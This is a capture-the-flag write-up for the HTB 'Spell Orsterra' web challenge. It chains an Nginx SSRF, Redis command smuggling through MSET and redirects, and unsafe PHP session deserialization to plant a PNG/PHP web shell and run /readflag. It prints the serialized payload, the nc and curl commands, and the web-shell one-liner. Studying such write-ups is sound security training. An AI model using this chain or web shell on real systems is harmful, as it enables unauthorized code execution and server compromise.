Spell Orsterra writeup

A hard web challenge released during the HTB University CTF 2022 featuring Nginx, Redis, SSRF, unsafe PHP deserialization and more.

Spell Orsterra was a hard web challenge released during the HackTheBox University CTF 2022. We had access to the source code of the application and some configuration files, a Dockerfile was also provided to test things locally.

The first thing we need to do is to identify what's available and what we need to do. We find that the flag file is only readable using root privileges, fortunately there's a SUID binary called readflag that can be used to retrieve the flag, but that means we need to gain remote code execution.

We can find inside the challenge's migrations folder a file called db.sql that will be used to create some data inside the database. It will create some trackers and an account admin with the password admin.

We also see there's a Symfony web application with two main features.

  • A login form (where we can use the credentials we found)
  • And an image generation feature that take a resource identifier and an email, verify some things and then push the image generation request to a message bus.

There's also a redis service running (accessible on port 6379) and is used by the Symfony application to store session data and transfer messages on the bus.

A Symfony service is also constantly running and pulls message from the bus (SubscribeNotification instances) to create a SubscriptionNotificationHandler instance. This class implements a complexe destructor that create an instance of MapExportService to generate an image and send it to an email.

The MapExportService is interesting, because it will fetch two images (the download location is a variable on the instance, not a constant value) and then generate an image with these two images, some texts and save it to a path controllable during the service's construction. Using knowledge widely documented we know that we can have a valid PHP payload inside our file after the image manipulation functions modify the image. So if we can save the file to a reachable location we can execute arbitrary code and call the readflag binary.

The last important component is a misconfigured Nginx server. Inside the configuraton file proxy.conf there's something really interesting. If the path of a request starts with /assets/:variable/* it will pass the request to http://:variable/*. Meaning we have a SSRF functionality and it also follows the first redirection.

To summarize, we have these componnents:

  • A Nginx server that we can use to SSRF
  • A Redis server that stores Symfony sessions and is used as a message bus.
  • A PHP Service that can be abused to write anywhere a file containing valid PHP code.
  • A PHP class that calls this service during its destruction.

Because PHP session can contains serialized PHP objects that will be unserialized when the session is loaded, the idea is to use Nginx to contact the redis service and update our session so it contains a malicious SubscriptionNotificationHandler object, then use this object deserialization to write a PHP file to a publicly accessible path and use it to retrieve the flag.

Abuse SubscribeNotificationHandler's destructor to write a PHP file

Surprisingly, this part was the easiest because of all the documentation and tools that already exist.

During its destruction, SubscribeNotificationHandler will create a MapExportService instance and call generateMap on it.

To create the service's instance it will use some variables stored on itself:

  • $uuid - To write some text on the image
  • $map and $stamp - Paths (that need to start with http) that will be downloaded and used to create the final image.
  • $exportfile - Where the file is stored.
  • $x_coordinate and $y_coordinate - Used to write some text and display the $stamp on the $map.

We can extract the class in a PHP script and call it with arguments we control to see if it's possible to generate the image containing PHP code at the location we want.

$service = new MapExportService(
"unknown",
"http://$OUR_HOST/map.png",
"http://$OUR_HOST/stamp.png",
"shell.php",
1000,
1000
);

$service->generateMap();

The funny thing is that by just using the default stamp file and a file generated by PNG-IDAT-Payload-Generator as the map, the code above will create the file with the payload we want.

$ php poc.php && grep -F '<?=$_GET[0]($_POST[1]);?>' shell.php
grep: shell.php: binary file matches

Use Nginx to rewrite PHP sessions on Redis

The Nginx configuration contains something really interesting, in one of the location configuration, it re-use part of the path as the host of the proxied server.

location ~ /assets/(.+)/ {
rewrite ^/assets/(.+)$ /$1 break;

# ...
proxy_pass http://$1;
proxy_set_header User-Agent "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0";

proxy_intercept_errors on;
error_page 301 302 307 = @handle_redirects;

# ...
}

This means that if we put an address after /assets/ it can be used to perform an SSRF attack. We can verify this by listening for incoming tcp connection on our system and query the Nginx server to receive some data.

Note: the address 172.17.0.1 is the address of my host machine and 172.17.0.2 is the Docker container.

one$ nc -v -l 0.0.0.0 42069
two$ curl "http://127.0.0.1:1337/assets/172.17.0.1:42069/"

Then we'll receive the following output on our first command.

Listening on 0.0.0.0 42069
Connection received on 172.17.0.2 49536
GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Host: 172.17.0.1:42069
Connection: close
Accept: */*

By playing a little with the path, we can see that if we urlencode something in the path (for example %20 for a space) it will be rawly inserted into the first line.

one$ curl "http://127.0.0.1:1337/assets/172.17.0.1:42069/Hello%20world" -X HELLO
two$ # We see the following output.
Connection received on 172.17.0.2 55372
HELLO /Hello world HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Host: 172.17.0.1:42069
Connection: close
Accept: */*

We can also use any arbitrary method as long as its only uppercase letters, hyphen or underscore. But by playing we observe two things, we can't use newline in the path (otherwise the request will not be forwarded) and if we use multiple slash in a row, only one will be written.

We also see that we can't modify the User-Agent header and is always followed by the Host header.

If instead of forwarding the request to ourself but rather contact the redis server directly we can face some problem.

The redis protocol is similar to HTTP in the sense that it receives lines and will execute the command on every one of them. To avoid being used by an HTTP client, redis introduced a security where it exits if it receives a line starting with POST or Host.

This means that everything we have to do must fit in the first line the server receive.

As a reminder, the goal is to contact redis to modify a PHP session, when we connect directly to the redis we can see how the session look.

$ docker exec -it web_spell_orsterra redis-cli
$ KEYS *
1) "messages"
2) "sf_snl6qc49p0prnan9aak403pi3f0"
$ GET sf_snl6qc49p0prnan9aak403pi3f0
"_sf2_attributes|a:1:{s:8:\"loggedin\";b:1;}_sf2_meta|a:3:{s:1:\"u\";i:1670329814;s:1:\"c\";i:1670329814;s:1:\"l\";i:0;}"

The PHP session contains serialized objects, so if we introduce our malicious object inside it will write a PHP file where we wanted to when the session is loaded.

The session's format is sf_s followed by the session id in the PHPSESSID cookie. To modify its content can use the SET command of redis.

The problem is that the form of the command starts with SET key value, if we set the correct method and path during our SSRF, the key will always start with a slash (because it's the first character of the request's path).

By looking at the other commands we find the MSET command, which allows us to set multiple key and value. This means that if we use /garbage%20garbage%20key%20value%20garbage/ as the path and MSET as the method, the first line sent to redis will look like the following.

MSET /garbage garbage key value garbage/ HTTP/1.0

We can now set arbitrary key to any value, almost. There is still a problem, in our malicious object we need to have multiple slash in a row but Nginx will remove them. So we can abuse another feature of the Nginx configuration. When the initial server returns a redirection status Nginx will follow the redirection and use the Location header as the next address to visit. It will keep the original request's method and if there's multiple slash in a row in the url it will keep them.

Combining everything

Now that we can set arbitrary key on redis and know how to exploit a vulnerable component deserialization we can complete the exploitation by creating a vulnerable PHP script on the server and read the flag.

We'll use the following session id, this is completely arbitrary and not really important 42sch00lrulethiswasfun1337.

We need to setup a server that will be used to redirect the Nginx client to the redis server and set the correct redis key, we just create a file called response.txt and open nc. The redirection will contain the vulnerable class serialized.

To create this vulnerable object we can use the following code.

class AppZMessageHandlerZSubscribeNotificationHandler {
public $email="unused";
public $uuid="unused";
public $export_file="shell.php";
public $x_coordinate=2000;
public $y_coordinate=2000;

public $map = 'http://172.17.0.1:42002/malicious.png';
public $stamp = 'http://172.17.0.1:42002/stamp.png';
}

$value = new AppZMessageHandlerZSubscribeNotificationHandler();

# We use str_replace to have something that looks like PHP namespaces without
# going through too much trouble.
echo str_replace("Z", "\\", serialize($value)) . "\n";

Then we use the output of the above code in our response.txt file.

$ cat response.txt
HTTP/1.1 302 Found
Location: http://127.0.0.1:6379/ garbage sf_s42sch00lrulethiswasfun1337 'evil|O:47:"App\MessageHandler\SubscribeNotificationHandler":7:{s:5:"email";s:6:"unused";s:4:"uuid";s:6:"unused";s:11:"export_file";s:9:"shell.php";s:12:"x_coordinate";i:2000;s:12:"y_coordinate";i:2000;s:3:"map";s:37:"http://172.17.0.1:42002/malicious.png";s:5:"stamp";s:33:"http://172.17.0.1:42002/stamp.png";}' /garbage
Connection: close


$ cat response.txt | nc -v -l 0.0.0.0 42001

Then we start an http server to serve both PNG files.

$ npx http-server -c-1 -p42002

And finally trigger the SSRF to make the Nginx server talk to our server then to redis and then make a request on the Symfony application using our session, it needs to be on a route that needs authentication so it loads our session.

$ curl -X MSET 'http://127.0.0.1:1337/assets/172.17.0.1:42001/'
$ curl 'http://127.0.0.1:1337/admin/' -b 'PHPSESSID=42sch00lrulethiswasfun1337'

We can see that we received two request on the HTTP server serving the PNG files.

[2022-12-06T19:29:37.419Z]  "GET /malicious.png" "undefined"
[2022-12-06T19:29:37.425Z] "GET /stamp.png" "undefined"

Now if we visit the /static/exports/shell.php we see that our file was successfully uploaded. We can now call the system function to execute the /readflag binary.

$ curl 'http://127.0.0.1:1337/static/exports/shell.php?0=system' -d '1=/readflag' -o- | strings
HTB{f4k3_fl4g_f0r_t3st1ng}